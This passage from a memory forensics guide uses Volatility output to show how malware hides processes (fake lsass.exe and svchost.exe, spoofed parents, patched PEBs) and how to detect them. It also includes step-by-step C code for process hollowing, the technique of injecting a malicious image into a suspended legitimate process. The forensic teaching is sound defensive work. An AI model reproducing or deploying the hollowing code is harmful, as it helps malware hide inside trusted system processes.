In order for the csrss_pslist plug-in to work correctly, it must be able to locate the csrss.exe process. If a rootkit finds a reliable way to hide or prevent access to csrss.exe without causing system instability, then that could cause an issue. In fact, the author of CsrWalker found that some hackers tried to prevent CsrWalker from working by hooking ZwOpenProcess and preventing the detection tool from reading the memory of csrss.exe. Of course, this type of API hook is not effective against offline memory analysis, but another user on the forums posted code that unlinks entries from csrss.exe’s internal lists, which would in fact break the csrss_pslist analysis. In these cases, you may need to consult other sources of process listings (don’t worry, there are plenty).

Alternate Process Listings

Here are a few additional sources of process listings and ways to deal with hidden processes:

· Check for hidden threads instead of hidden processes (using the thrdscan or thrdscan2 commands). Because all processes need at least one thread of execution, you can enumerate the threads on a system and determine if any of them are not owned by a process in your list.

· Check for references to process objects from other kernel objects. For example, when a process opens a file, the kernel tracks the owner’s _EPROCESS along with the _FILE_OBJECT. Thus, you can scan for _FILE_OBJECT structures (see the filescan command) and then determine if the owners of any open files are missing from your process list. This is a very powerful trick, because it would be difficult to cover your tracks after opening each file (the same is true for other objects on the system and not just files).

21 http://forum.sysinternals.com/forum_posts.asp?TID=15457

Recipe 15-8: Recognizing Process Context Tricks

This recipe discusses a few ways that malware will try and hide without using DKOM. Overwriting kernel objects can be risky and forces attackers to either write the most stable code ever or spend a lot of time testing. Instead, most malware just uses simple context tricks to try and evade detection.

Image Name Tricks

The ImageFileName member of the _EPROCESS structure holds a maximum of 16 characters, thus it does not show the full path on disk to the executable. Malware could create a tricky situation by launching a copy of itself from C:\Temp\lsass.exe. With pslist and psscan alone, it would be difficult to distinguish the real lsass.exe, which exists in C:\WINDOWS\system32, from the fake one in C:\Temp. Consider the following output:

$ python volatility.py pslist –f fakelsass.bin

Name Pid PPid Thds Hnds Time

System 4 0 53 230 Thu Jan 01 00:00:00 1970

smss.exe 520 4 3 21 Thu Dec 03 16:43:20 2009

csrss.exe 584 520 11 380 Thu Dec 03 16:43:21 2009

winlogon.exe 608 520 20 497 Thu Dec 03 16:43:21 2009

services.exe 652 608 16 257 Thu Dec 03 16:43:21 2009

lsass.exe 664 608 20 320 Thu Dec 03 16:43:21 2009

svchost.exe 820 652 21 195 Thu Dec 03 16:43:21 2009

svchost.exe 896 652 9 225 Thu Dec 03 16:43:22 2009

svchost.exe 992 652 63 1070 Thu Dec 03 16:43:22 2009

svchost.exe 1036 652 5 57 Thu Dec 03 16:43:22 2009

svchost.exe 1080 652 14 203 Thu Dec 03 16:43:23 2009

spoolsv.exe 1436 652 14 111 Thu Dec 03 16:43:23 2009

explorer.exe 1560 1536 11 286 Thu Dec 03 16:43:24 2009

cmd.exe 1984 1560 1 31 Thu Dec 03 16:44:42 2009

lsass.exe 452 1560 1 7 Thu Dec 03 16:45:23 2009

win32dd.exe 540 1984 1 21 Thu Dec 03 16:45:31 2009

Here, you see two processes named lsass.exe—one with a Pid of 664 and one with a Pid of 452. Because lsass.exe is one of the first processes to start when Windows boots, you might assume that the lsass.exe with a lower Pid is the real one, but that is not always true. According to the creation times, the lsass.exe with a lower Pid actually started two seconds after the one with a higher Pid.

Now look at the parent ID field. Winlogon.exe (Pid 608) started one of the lsass.exe processes and explorer.exe (Pid 1560) started the other. This is a good indication of which copy of lsass.exe is malicious, because winlogon.exe starts the real lsass.exe. However, the parent process ID’s usefulness only goes so far, as we’ll discuss in the next example.

Parent Process Tricks

There are multiple ways to force a process to become the parent for a malicious program, provided you have the proper rights on a target system:

· If you start a process as a Windows service, it will automatically have a parent process of services.exe.

· Beginning with Windows Vista, you can use the CreateProcess API to specify a parent process—a method described in Windows via C/C++ by Jeffrey Richter and Christophe Nasarre. Didier Stevens also blogged about the technique and wrote a tool you can use to test it.22

· If you invoke CreateProcess from within the space of an existing process through code injection, that existing process will become the parent (see Recipe 13-4 regarding calling DLL exports remotely).

The svchost.exe process with Pid 2908 in the following output has the same parent Pid as all the other svchost.exe processes. Because it’s normal for multiple copies of svchost.exe to run and those copies can start and stop in different orders, you cannot use the same process-of-elimination method as you did with the lsass.exe example.

$ python volatility.py pslist –f fakesvchost.bin

Name Pid PPid Thds Hnds Time

System 4 0 53 233 Thu Jan 01 00:00:00 1970

smss.exe 520 4 3 21 Thu Dec 03 16:43:20 2009

csrss.exe 584 520 12 336 Thu Dec 03 16:43:21 2009

winlogon.exe 608 520 16 542 Thu Dec 03 16:43:21 2009

services.exe 652 608 15 257 Thu Dec 03 16:43:21 2009

lsass.exe 664 608 18 318 Thu Dec 03 16:43:21 2009

svchost.exe 820 652 16 190 Thu Dec 03 16:43:21 2009

svchost.exe 896 652 9 235 Thu Dec 03 16:43:22 2009

svchost.exe 992 652 48 1053 Thu Dec 03 16:43:22 2009

svchost.exe 1036 652 4 55 Thu Dec 03 16:43:22 2009

svchost.exe 1080 652 13 201 Thu Dec 03 16:43:23 2009

spoolsv.exe 1436 652 10 107 Thu Dec 03 16:43:23 2009

explorer.exe 1560 1536 11 384 Thu Dec 03 16:43:24 2009

cmd.exe 1984 1560 1 31 Thu Dec 03 16:44:42 2009

svchost.exe 2908 652 1 8 Fri Dec 04 15:06:41 2009

win32dd.exe 2916 1984 1 21 Fri Dec 04 15:36:50 2009

To investigate either trick discussed so far in this recipe, you can use the dlllist or the pstree command to see the full path on disk to the process’s binary. Each of these plug-ins prints information from the Process Environment Block (PEB), which is described in detail in Chapter 16. In this case, you can tell if a process is running from a non-standard directory.

$ python volatility.py dlllist –f fakesvchost.bin –p 2908

*************************************************

svchost.exe pid: 2908

Command line : C:\Temp\svchost.exe

Service Pack 2

[REMOVED]

The only problem with this detection method is that the PEB is a writable location inside each process’s private memory space. Therefore, once C:\Temp\svchost.exe starts, it could patch its own PEB to report a different binary path. Although this attack is quite simple to implement, it’s not optimal for malware authors, because it’s also quite simple to detect. You can still find the true path to the executable image by looking at the memory mapped files in the process—which we discuss in Chapter 16.

Hollow Process Tricks

A slightly more advanced trick that is commonly used by malware is known as process hollowing. Once we explain the technique, you might relate it to code injection, which is also accurate. However, with a typical code injection, the target process remains running and just executes additional (malicious) code on behalf of the malware. With process hollowing, the malware starts a brand new instance of a legitimate process, such as lsass.exe. Before the process’s first thread begins, the malware deallocates the memory containing lsass.exe’s code (i.e. hollows it out) and replaces it with the body of the malware. In this sense, for the remainder of the process’s lifetime, it only executes malicious code. However, the PEB and memory mapped files list will identify the path to the legitimate lsass.exe binary. Figure 15-6 shows a before-and-after memory layout for the described behavior.

Figure 15-6: Diagram of the hollow process trick

f1506.eps

The following steps describe how to conduct such an attack:

1. Start a new instance of a legitimate process (for example, C:\windows\system32\lsass.exe), but with its first thread suspended. The PEB of the new process will identify the full path to the legitimate lsass.exe.

void HollowProcess(

LPSTR szProcessToReplace, // path to legit process

LPSTR szReplacementProcess) // path to malware

{

LPBYTE pData = NULL;

PIMAGE_DOS_HEADER pidh = NULL;

PIMAGE_NT_HEADERS pinh = NULL;

PIMAGE_SECTION_HEADER pish = NULL;

STARTUPINFOA si;

PROCESS_INFORMATION pi;

NTUNMAPVIEWOFSECTION NtUnmapViewOfSection = NULL;

HMODULE hNtdll = NULL;

CONTEXT Ctx;

int i = 0;

memset(&si, 0, sizeof(si));

si.cb = sizeof(si);

CreateProcessA(

NULL,

szProcessToReplace,

NULL, NULL, FALSE,

CREATE_SUSPENDED,

NULL, NULL,

&si, &pi);

2. Open the malicious file (C:\temp\malware.exe) and read its contents into a buffer, so you can begin to parse its PE header.

// This function (not shown) just reads the file on disk

pData = GetData(szReplacementProcess);

if (pData == NULL)

return;

pidh = (PIMAGE_DOS_HEADER)&pData[0];

pinh = (PIMAGE_NT_HEADERS)&pData[pidh->e_lfanew];

3. Free the memory section in the lsass.exe process that holds the malicious process’s ImageBase. Note that after this change, the DLLs loaded by lsass.exe will remain loaded, all heaps will remain allocated, all handles open, and so on.

hNtdll = GetModuleHandleA("ntdll.dll");

NtUnmapViewOfSection = (NTUNMAPVIEWOFSECTION)

GetProcAddress(hNtdll, "NtUnmapViewOfSection");

if (NtUnmapViewOfSection == NULL)

return;

NtUnmapViewOfSection(

pi.hProcess,

(PVOID)pinh->OptionalHeader.ImageBase);

4. Allocate a new memory segment in lsass.exe starting at the malicious process’s ImageBase and make sure the memory can be read, written, and executed.

VirtualAllocEx(

pi.hProcess,

(PVOID)pinh->OptionalHeader.ImageBase,

pinh->OptionalHeader.SizeOfImage,

MEM_COMMIT | MEM_RESERVE,

PAGE_EXECUTE_READWRITE);

5. Copy the PE header for the malicious process into the newly allocated memory in lsass.exe.

WriteProcessMemory(

pi.hProcess,

(PVOID)pinh->OptionalHeader.ImageBase,

&pData[0],

pinh->OptionalHeader.SizeOfHeaders,

NULL);

6. Copy each PE section for the malicious process into the proper virtual address in lsass.exe.

for (i=0; i<pinh->FileHeader.NumberOfSections; i++)

{

int offset = pidh->e_lfanew + \

sizeof(IMAGE_NT_HEADERS) + \

sizeof(IMAGE_SECTION_HEADER) * i;

pish = (PIMAGE_SECTION_HEADER)&pData[offset];

WriteProcessMemory(

pi.hProcess,

(LPVOID)(pinh->OptionalHeader.ImageBase +

pish->VirtualAddress),

&pData[pish->PointerToRawData],

pish->SizeOfRawData,

NULL);

}

7. Set the start address for the first thread (the one that has been in a suspended state) to point at the malicious process’s AddressOfEntryPoint value.

Ctx.ContextFlags = CONTEXT_FULL;

GetThreadContext(pi.hThread, &Ctx);

Ctx.Eax = pinh->OptionalHeader.ImageBase \

+ pinh->OptionalHeader.AddressOfEntryPoint;

SetThreadContext(pi.hThread, &Ctx);

8. Resume the thread. At this point, the malicious process begins executing within the container created for lsass.exe.

To combat these types of tricks, several methods are at your disposal. The following is a list of possibilities and where you can learn more about them:

· Extract the executable image from memory and examine it with strings, ssdeep, IDA Pro, or a hex editor (Chapter 16).

· Analyze the VAD in order to see the name of the mapped file at the given base address (Chapter 16).

· View the process’s open file handles, open registry keys, open network sockets, and other resources. Even if the malware tries to blend in using process context tricks, you can still detect its behaviors (Chapter 18).

· Use the getsids command to determine which SIDs own the process. For example, consider the difference between the SIDs for the legitimate winlogon.exe and a process which was started by a user from Explorer:

# This is a legitimate winlogon.exe

winlogon.exe (632): S-1-5-18 (Local System)

winlogon.exe (632): S-1-5-32-544 (Administrators)

winlogon.exe (632): S-1-1-0 (Everyone)

winlogon.exe (632): S-1-5-11 (Authenticated Users)

# This is a process started from Explorer by the user

aelas.exe (1984): S-1-5-21-1614895754-436374069-839522115-500 (Administrator)

aelas.exe (1984): S-1-5-21-1614895754-436374069-839522115-513 (Domain Users)

aelas.exe (1984): S-1-1-0 (Everyone)

aelas.exe (1984): S-1-5-32-544 (Administrators)

aelas.exe (1984): S-1-5-32-545 (Users)

aelas.exe (1984): S-1-5-4 (Interactive)

aelas.exe (1984): S-1-5-11 (Authenticated Users)

aelas.exe (1984): S-1-5-5-0-59917 (Logon Session)

aelas.exe (1984): S-1-2-0 (Users with the ability to log in locally)

Based on the output, you know that if you ever see a process named winlogon.exe that has SID owners similar to the aelas.exe process, then the winlogon.exe is probably not the real winlogon.exe.

22 http://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/